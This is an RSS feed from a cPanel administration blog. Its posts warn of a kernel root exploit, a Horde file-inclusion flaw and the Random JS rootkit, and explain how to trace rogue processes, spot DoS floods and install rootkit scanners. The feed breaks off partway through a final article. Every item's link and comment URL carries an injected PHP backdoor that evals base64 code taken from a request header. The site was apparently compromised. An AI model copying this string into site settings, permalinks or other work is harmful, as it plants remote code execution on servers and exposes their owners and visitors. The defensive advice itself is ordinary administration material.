<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; Security</title>
	<atom:link href="http://www.cpanelconfig.com/category/cpanel-security-related-articles/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Linux Kernel 2.6 Local Root Exploit, 2.6.17 &#8211; 2.6.24.1</title>
		<link>http://www.cpanelconfig.com/2008/03/19/linux-kernel-26-local-root-exploit-2617-26241/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/03/19/linux-kernel-26-local-root-exploit-2617-26241/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 04:04:06 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[kernel]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/linux-kernel-26-local-root-exploit-2617-26241/</guid>
		<description><![CDATA[It is something that is quite old in the Linux community but be advised that linux kernels 2.6.17 to 2.6.24.1 are vulnerable to a local root  exploit. I still see a lot of servers that are vulnerable.
At this time it is recommended that you upgrade your kernel to the latest version available for your [...]]]></description>
			<content:encoded><![CDATA[<p>It is something that is quite old in the Linux community but be advised that linux kernels 2.6.17 to 2.6.24.1 are vulnerable to a local root  exploit. I still see a lot of servers that are vulnerable.</p>
<p>At this time it is recommended that you upgrade your kernel to the latest version available for your distribution or you compile a 2.6.24.2 or above version.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-1278592249908214";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
//2007-09-07: cpanelconfig.com
google_ad_channel = "5743344290";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0361A0";
google_color_text = "000000";
google_color_url = "0361A0";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Don&#8217;t ignore this as it can be a major security issue.</p>
<p>More info on this:<br />
http://it.slashdot.org/article.pl?sid=08/02/10/2011257</p>
<p>If you need help with your kernel upgrade you can contact us as we can do it for you (for a fee of course).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/03/19/linux-kernel-26-local-root-exploit-2617-26241/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How to find out from where an exploit is running</title>
		<link>http://www.cpanelconfig.com/2008/03/18/how-to-find-out-from-where-an-exploit-is-running/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/03/18/how-to-find-out-from-where-an-exploit-is-running/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 18 Mar 2008 21:32:57 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/how-to-find-out-from-where-an-exploit-is-running/</guid>
		<description><![CDATA[If you are running a cPanel server for shared hosting the chances are that you already had a problem or two with compromised scripts that are running from a user home directory and that are hacking others servers or sending spam.
I will try to tell you a few tricks over a series  of tutorials [...]]]></description>
			<content:encoded><![CDATA[<p>If you are running a cPanel server for shared hosting the chances are that you already had a problem or two with compromised scripts that are running from a user home directory and that are hacking others servers or sending spam.</p>
<p>I will try to tell you a few tricks over a series  of tutorials on how to detect such scripts and how to protect your self in the future.<br />
<!--adsense--><br />
First let&#8217;s see how we can detect them. On a normal cPanel server there are many processes running but most of them run under dedicated users (such as cpanel, exim, etc.). You have to worry only about processes running under the user &#8220;nobody&#8221;.  Now unfortunately Apache is also running under the user nobody but we will ignore those processes.</p>
<p>So what to do to see what processes are running under the user nobody? Simple, just type:</p>
<blockquote><p>ps aux | grep nobody</p></blockquote>
<p>This should output a few apache processes  but NOTING else (on a cPanel powered server). If you are seeing any other processes that look suspect that it&#8217;s time you investigate.</p>
<p>How to do this?  Simple again, let&#8217;s trace where that process is running from. Look at the second column in from of the suspect process. You should see there the process id. Let&#8217;s suppose that this is 12345.</p>
<p>Now let&#8217;s see some information about this process from /proc. For this go ahead and do:</p>
<blockquote><p> ls -la /proc/12345</p></blockquote>
<p>You should now see some information about that process and most import that cwd (current working directory) . This is the place where that process runs from !<br />
<!--adsense--><br />
The output will look similar to:</p>
<blockquote><p>root@server [/]# ls -la /proc/12345<br />
total 0<br />
dr-xr-xr-x    3 root root 0 Mar 18 09:28 ./<br />
dr-xr-xr-x  311 root root 0 Mar 15 03:26 ../<br />
dr-xr-xr-x    2 root root 0 Mar 18 23:23 attr/<br />
-r&#8212;&#8212;&#8211;    1 root root 0 Mar 18 23:23 auxv<br />
-r&#8211;r&#8211;r&#8211;    1 root root 0 Mar 18 23:09 cmdline<br />
lrwxrwxrwx    1 root root 0 Mar 18 23:23<strong> cwd -&gt; /root/</strong><br />
-r&#8212;&#8212;&#8211;    1 root root 0 Mar 18 23:23 environ<br />
lrwxrwxrwx    1 root root 0 Mar 18 23:00 exe -&gt; /usr/bin/perl*<br />
dr-x&#8212;&#8212;    2 root root 0 Mar 18 09:30 fd/<br />
-rw-r&#8211;r&#8211;    1 root root 0 Mar 18 23:23 loginuid<br />
-r&#8211;r&#8211;r&#8211;    1 root root 0 Mar 18 23:23 maps<br />
-rw&#8212;&#8212;-    1 root root 0 Mar 18 23:23 mem<br />
-r&#8211;r&#8211;r&#8211;    1 root root 0 Mar 18 23:23 mounts<br />
-r&#8212;&#8212;&#8211;    1 root root 0 Mar 18 23:23 mountstats<br />
lrwxrwxrwx    1 root root 0 Mar 18 23:23 root -&gt; //<br />
-r&#8212;&#8212;&#8211;    1 root root 0 Mar 18 23:23 smaps<br />
-r&#8211;r&#8211;r&#8211;    1 root root 0 Mar 18 23:07 stat<br />
-r&#8211;r&#8211;r&#8211;    1 root root 0 Mar 18 23:00 statm<br />
-r&#8211;r&#8211;r&#8211;    1 root root 0 Mar 18 23:09 status<br />
dr-xr-xr-x    3 root root 0 Mar 18 23:23 task/<br />
-r&#8211;r&#8211;r&#8211;    1 root root 0 Mar 18 23:23 wchan</p></blockquote>
<p>If you now have the information you need you can now delete that file(s) and don&#8217;t forget the terminate that process.<br />
<!--adsense--><br />
Something like this should work:</p>
<blockquote><p>kill -9 12345</p></blockquote>
<p>I hope this is useful for you. I will write a fallow up as soon as possible.</p>
<blockquote></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/03/18/how-to-find-out-from-where-an-exploit-is-running/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Horde arbitrary file inclusion vulnerability</title>
		<link>http://www.cpanelconfig.com/2008/03/07/horde-arbitrary-file-inclusion-vulnerability/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/03/07/horde-arbitrary-file-inclusion-vulnerability/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 21:12:57 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[horde]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/horde-arbitrary-file-inclusion-vulnerability/</guid>
		<description><![CDATA[cPanel has issued an important security alert. Please read it fully:

An arbitrary file inclusion vulnerability has been discovered in the Horde  webmail application. At present, we can confirm that this security vulnerability  in question affects Horde 3.1.6 and earlier. Based on incomplete information at  this time, we also believe this affects Horde [...]]]></description>
			<content:encoded><![CDATA[<p>cPanel has issued an important security alert. Please read it fully:<br />
<!--adsense--></p>
<blockquote><p>An arbitrary file inclusion vulnerability has been discovered in the Horde  webmail application. At present, we can confirm that this security vulnerability  in question affects Horde 3.1.6 and earlier. Based on incomplete information at  this time, we also believe this affects Horde Groupware 1.0.4 and earlier as  well (cPanel does not use Horde Groupware at this time).</p>
<p>cPanel customers should update their cPanel and WHM servers immediately to  prevent any chance of compromise. The patch will be available in builds 11.18.2  and greater (or 11.19.2 and greater for EDGE systems). The updated builds will  be available immediately to all fast update servers. The builds will be  available to all other update servers within one hour of this posting.<br />
<!--adsense--><br />
To check which version of cPanel and WHM is on your server, simply log into  WebHost Manager (WHM) and look in the top right corner, or execute the following  command from the command line as root:</p>
<blockquote><p>/usr/local/cpanel/cpanel -V</p></blockquote>
<p>You can upgrade your server by navigating to ‘cPanel’ -&gt; ‘Upgrade to  Latest Version’ in WebHost Manager or by executing the following from the  command line as root:</p>
<blockquote><p>/scripts/upcp</p></blockquote>
<p>It is recommended that all use of Horde 3.1.6 and earlier be stopped (on  cPanel and non-cPanel systems alike) until Horde updates can be applied. You can  disable Horde on your cPanel system by unchecking the box next to ‘Server  Configuration’ -&gt; ‘Tweak Settings’ -&gt; ‘Mail’ -&gt; ‘Horde Webmail’ within  WHM, and saving the page with the new settings.</p></blockquote>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/03/07/horde-arbitrary-file-inclusion-vulnerability/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random JS Toolkit</title>
		<link>http://www.cpanelconfig.com/2008/02/08/random-js-toolkit/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/02/08/random-js-toolkit/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 21:27:07 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[JS Toolkit]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/random-js-toolkit/</guid>
		<description><![CDATA[Most of you are aware of the recent exploit that has hit the Linux work, but for those of your that aren&#8217;t I&#8217;ll be posting a quote from an announcement from cPanel.com. Please note that I don&#8217;t totally agree with them on this for now.

A server compromise trend has been recently reported targeting multiple hosting [...]]]></description>
			<content:encoded><![CDATA[<p>Most of you are aware of the recent exploit that has hit the Linux work, but for those of your that aren&#8217;t I&#8217;ll be posting a quote from an announcement from cPanel.com. Please note that I don&#8217;t totally agree with them on this for now.<br />
<!--adsense--></p>
<blockquote><p>A server compromise trend has been recently reported targeting multiple hosting platforms. RedHat Enterprise Linux &amp; Centos 4/5 and Fedora Core 5/6 are the most common targets. This compromise is not believed to be specific to cPanel software. This issue has been seen on systems running a variety of control panels.</p>
<p>The vast majority of affected systems are initially accessed using SSH with no indications of brute force or exploitation of the underlying service. Despite non-trivial passwords, intermediary users and nonstandard ports, the attacker is able to gain access to the affected servers with no password failures. The majority of the affect servers come from a single undisclosed data-center. All affected systems have password-based authentication enabled. Based upon these findings, it&#8217;s believed that the attacker has gained access to a database of root login credentials for a large group of Linux servers.</p>
<p>Once access is gained, the attacker downloads and compiles Stealth Zapper 1.0, which is used to clean all traces of the attackers access and movements through the system. The attacker then downloads a script used to gather information from Apache and compiles a list of statistics for each site hosted on the server. This information is then sent to an undisclosed location for the attacker to view. Once the information is sent successfully, the attacker downloads an agent binary built from the Boxer 0.99 BETA 3 root-kit. This binary is secured with encrypted keys to only allow access from the attackers Boxer installation. This agent binary is built with several additional scripts developed by the attacker to load a web server into memory and inject the random JavaScript into the HTML code after Apache has served the file, but before it has traveled through the TCP transport back to the web site visitor. The attacker will first run the agent binary to load it into memory. This activates the root-kit, which will then go on to copy itself to the seven binary locations below which will keep the agent running at all times, including after a reboot.</p>
<blockquote><p>/sbin/ifconfig<br />
/sbin/fsck<br />
/sbin/route<br />
/bin/basename<br />
/bin/cat<br />
/bin/mount<br />
/bin/touch</p></blockquote>
<p>The rootkit renames these system binaries by adding a random set of characters to the end of the file name. Additionally, a 0 byte file with a different set of random characters is created based upon the target binary&#8217;s name similar to the following:</p>
<blockquote><p>/sbin/routewWmVTnBL6szkobbNZ9Iz<br />
/sbin/routeGnAxnt168fMJAxHiru22</p></blockquote>
<p>These files are hidden on the live filesystem of an affected system. In order to view these files, the system must be rebooted into a safe environment such as a system rescue CD.<br />
<!--adsense--></p>
<p>The JavaScript being loaded by this web server is directing users to another server that scans the web site user for a number of known vulnerabilities. These vulnerabilities are then used to add the web site user to a bot net. More information about the JavaScript hacks can be found at: http://www.finjan.com/Pressrelease.aspx?id=1820&amp;PressLan=1819&amp;lan=3.</p>
<p>If you feel your server is compromised, you can run the tests below to confirm.</p>
<p>The easiest test is to attempt to create a directory with a numerical name:</p>
<blockquote><p>mkdir 1</p></blockquote>
<p>If your server is compromised, this will result in the error below:</p>
<blockquote><p>[root\@cpanel ~]# mkdir 1<br />
mkdir: cannot create directory `1&#8242;: No such file or directory</p></blockquote>
<p>This isn&#8217;t always the case in older variants of the rootkit. To be certain your server isn&#8217;t compromised, it&#8217;s best to sniff packets for a brief 3-5 minute period. You can do this using the command below:</p>
<blockquote><p>tcpdump -nAs 2048 src port 80 | grep &#8220;[a-zA-Z]\{5\}\.js&#8217;&#8221;</p></blockquote>
<p>If this reports packets being sent that match the regex above, then the server is most likely compromised. Additional detection methods require an in-depth knowledge of kernel debugging.</p>
<p>Cleaning the Random JavaScript Toolkit requires the server to be booted into a safe environment and the removal of all infected binaries. Since it is believed that the attacker has access to the database of login credentials, the only way to prevent being hacked again is changing the password and not releasing it to anyone. The preferred method however is to move to SSH Keys and remove password authentication altogether. It is recommended that you contact your data-center, NOC, or a qualified administrator to have the server properly cleaned and secured.</p>
<p>More information on this issue as well as discussions can be found at the following URLs:</p>
<p><!--adsense--><br />
http://forums.cpanel.net<br />
http://www.webhostingtalk.com/showthread.php?t=651748<br />
http://www.finjan.com/Pressrelease.aspx?id=1820&amp;PressLan=1819&amp;lan=3</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/02/08/random-js-toolkit/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Apache reading = DOS attack ?</title>
		<link>http://www.cpanelconfig.com/2007/12/17/apache-reading-dos-attack/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/12/17/apache-reading-dos-attack/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 17 Dec 2007 10:59:32 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[flood]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/apache-reading-dos-attack/</guid>
		<description><![CDATA[If you are seeing many &#8220;? ..reading..&#8221; when your are clicking on Apache status in WHM  and your Apache server is slow, there is a chance that your http server is under a dos attach.

You can check this out by:

Log on your server as root
Type the fallowing command
 netstat -plan&#124;grep :80&#124;awk {&#8217;print $5&#8242;}&#124;cut -d: [...]]]></description>
			<content:encoded><![CDATA[<p>If you are seeing many &#8220;? ..reading..&#8221; when your are clicking on Apache status in WHM  and your Apache server is slow, there is a chance that your http server is under a dos attach.<br />
<!--adsense--><br />
You can check this out by:</p>
<ol>
<li>Log on your server as root</li>
<li>Type the fallowing command</li>
<blockquote><p> netstat -plan|grep :80|awk {&#8217;print $5&#8242;}|cut -d: -f 1|sort|uniq -c|sort -n</p></blockquote>
<p>You will see a list of IP&#8217;s with the number of connections each once has to your server.</p>
<li>If any IP&#8217;s have more then 100 connections then there is a chance that this is your attacker. Go ahead and block this IP using APF if you have it installed or CSF</li>
<p><!--adsense--></p>
<blockquote><p>apf -d IP<br />
or<br />
csf -d IP</p></blockquote>
</ol>
<p>Hope it helps !<br />
<!--adsense--><br />
If you have any questions don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/12/17/apache-reading-dos-attack/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Install Rootkit Hunter (1.3)</title>
		<link>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 16 Nov 2007 08:52:59 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[rkhunter]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[Rootkit Hunter]]></category>
		<category><![CDATA[rootkits]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/install-rootkit-hunter-13/</guid>
		<description><![CDATA[What is Rootkit Hunter ?

Rootkit scanner is scanning tool to ensure you for about 99.9%* you&#8217;re clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:
- MD5 hash compare
- Look for default files used by rootkits
- Wrong file permissions for binaries
- Look for suspected strings in LKM and [...]]]></description>
			<content:encoded><![CDATA[<p><strong>What is Rootkit Hunter ?</strong><br />
<!--adsense--><br />
Rootkit scanner is scanning tool to ensure you for about 99.9%* you&#8217;re clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:</p>
<p>- MD5 hash compare<br />
- Look for default files used by rootkits<br />
- Wrong file permissions for binaries<br />
- Look for suspected strings in LKM and KLD modules<br />
- Look for hidden files<br />
- Optional scan within plaintext and binary files</p>
<p><strong>How to install?</strong><br />
<!--adsense--></p>
<ol>
<li>Login as root to your server</li>
<li>Download the package and extract it</li>
<blockquote><p>wget http://prdownloads.sourceforge.net/rkhunter/rkhunter-1.3.0.tar.gz<br />
tar -xzf rkhunter*</p></blockquote>
<li>Run the installer</li>
<blockquote><p>cd rkhunter-*<br />
./installer.sh &#8211;layout default &#8211;install</p></blockquote>
<li>Run rkhunter</li>
<blockquote><p>/usr/local/bin/rkhunter -c</p></blockquote>
</ol>
<p><!--adsense--><br />
Enjoy !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Disable wget</title>
		<link>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 06 Nov 2007 13:41:16 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[General work]]></category>
		<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[permissions]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/disable-wget/</guid>
		<description><![CDATA[wget is one of the largest threats for your server security. A single abuser that gains access to wget can download and run any script that he wants, totally compromising your server.

It is highly recommended that you allow only root to use wget and you restrict all other users from it.

Login to your server as [...]]]></description>
			<content:encoded><![CDATA[<p>wget is one of the largest threats for your server security. A single abuser that gains access to wget can download and run any script that he wants, totally compromising your server.<br />
<!--adsense--><br />
It is highly recommended that you allow only root to use wget and you restrict all other users from it.</p>
<ol>
<li>Login to your server as root</li>
<li>Run the fallowing command</li>
<blockquote><p>chmod 0700 /usr/bin/wget</p></blockquote>
</ol>
<p>Please note that disabling wget might cause some scripts to stop working. A known problem is that Fantastico will stop updating after this. The solution is pretty easy&#8230;<br />
<strong>Before </strong>you disable wget make sure that you do a copy of it with the initial permissions. You can use any name that you want, the fallowing is just an example:</p>
<blockquote><p>cp /usr/bin/wget /usr/bin/wget_secret</p></blockquote>
<p><!--adsense--><br />
In the Fantastico configuration input the location to wget as:</p>
<blockquote><p>/usr/bin/wget_secret</p></blockquote>
<p>If for some reason you you want to revert the change you simply have to do:</p>
<blockquote><p>chmod 0711 /usr/bin/wget</p></blockquote>
<p>If you have any questions or suggestions please leave a comment.<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>How to mitigate DOS atacks with DOS-Deflate</title>
		<link>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 21 Sep 2007 21:40:41 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[atacks]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[DOS-Deflate]]></category>
		<category><![CDATA[mitigate]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/how-to-mitigate-dos-atacks-with-dos-deflate/</guid>
		<description><![CDATA[
What is DOS-Deflate?
(D)DoS Deflate is a shell script developed by Zaf, originally for use on MediaLayer servers to assist in combating denial of service attacks. However, it was seen to be very effective for our purpose, and therefore was released as a contribution to the web hosting community. (D)DoS Deflate is now used by not [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is DOS-Deflate?</strong></p>
<p>(D)DoS Deflate is a shell script developed by Zaf, originally for use on MediaLayer servers to assist in combating denial of service attacks. However, it was seen to be very effective for our purpose, and therefore was released as a contribution to the web hosting community. (D)DoS Deflate is now used by not only many web hosts, but by many people who run their own servers looking for additional security in dealing with such attacks. </p>
<p><strong>How to install </strong></p>
<p>Installing DOS-Deflate is one of the simplest out there.</p>
<ol>
<li>Login to your server as root</li>
<li>Download the install script</li>
<blockquote><p>wget http://www.inetbase.com/scripts/ddos/install.sh</p></blockquote>
<li>Run the installer</li>
<blockquote><p>sh install.sh</p></blockquote>
</ol>
<p>DOS-Deflate should now be installed.<br />
<!--adsense--><br />
Please note that DOS-Deflate uses APF to ban IPs so you must have it installed for DOS-Deflate to work properly. I guide on how to install APF can be found <a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-apf-firewall/">here</a>.</p>
<p>Customizing DOS-Deflate is very easy. You have to edit /usr/local/ddos/ddos.conf with your favorite editor for example</p>
<blockquote><p>pico /usr/local/ddos/ddos.conf</p></blockquote>
<p>Every setting is explained in the configuration file so I will not go over them as the explanations are quite easy to fallow up.<br />
<!--adsense--><br />
If you run into any problems please leave a comment here and I&#8217;ll try to help out.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Install and use chkrootkit</title>
		<link>http://www.cpanelconfig.com/2007/09/17/install-chkrootkit/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/17/install-chkrootkit/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 17 Sep 2007 22:05:18 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[chkrootkit]]></category>
		<category><![CDATA[root]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/install-chkrootkit/</guid>
		<description><![CDATA[
What is chkrootkit?
chkrootkit is a tool to locally check for signs of a rootkit.  It
contains:
* chkrootkit: a shell script that checks system binaries for
   rootkit modification.
* ifpromisc.c: checks if the network interface is in promiscuous
   mode.
* chklastlog.c: checks for lastlog deletions.
* chkwtmp.c: checks for wtmp deletions.
* check_wtmpx.c: checks for wtmpx deletions.  (Solaris only)
* chkproc.c: checks [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is chkrootkit?</strong></p>
<p>chkrootkit is a tool to locally check for signs of a rootkit.  It<br />
contains:</p>
<p>* chkrootkit: a shell script that checks system binaries for<br />
   rootkit modification.</p>
<p>* ifpromisc.c: checks if the network interface is in promiscuous<br />
   mode.</p>
<p>* chklastlog.c: checks for lastlog deletions.</p>
<p>* chkwtmp.c: checks for wtmp deletions.</p>
<p>* check_wtmpx.c: checks for wtmpx deletions.  (Solaris only)</p>
<p>* chkproc.c: checks for signs of LKM trojans.</p>
<p>* chkdirs.c: checks for signs of LKM trojans.</p>
<p>* strings.c: quick and dirty strings replacement.</p>
<p>* chkutmp.c: checks for utmp deletions.</p>
<p><strong>How to install chkrootkit</strong></p>
<ol>
<li>Login to your server as root</li>
<li>Download chkrootkit and extract the archive</li>
<blockquote><p>wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz<br />
tar xvzf chkrootkit.tar.gz<br />
cd chkrootkit-0.47</p></blockquote>
<p><!--adsense--></p>
<li>Install chkrootkit</li>
<blockquote><p>make sense</p></blockquote>
<li>Now lets run chkrootkit</li>
<blockquote><p>/root/chkrootkit-0.47/chkrootkit</p></blockquote>
</ol>
<p>Make sure you run it on a regular basis, perhaps you can include the scan in a cron job.<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/17/install-chkrootkit/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Basic security configuration for a new cPanel server</title>
		<link>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 17 Sep 2007 21:49:30 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[securing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/basic-security-configuration-for-a-new-cpanel-server/</guid>
		<description><![CDATA[Note: This article is based on a Layeredtech knowledgebase article https://support.layeredtech.com/home/index.php?x=&#38;mod_id=2&#38;id=101

We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.
Basic Steps to Securing CPanel (Linux based OS):
These are items inside of WHM/Cpanel that should be changed to secure your server.
Goto Server Setup [...]]]></description>
			<content:encoded><![CDATA[<p>Note: This article is based on a Layeredtech knowledgebase article <a href="https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101">https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101</a></p>
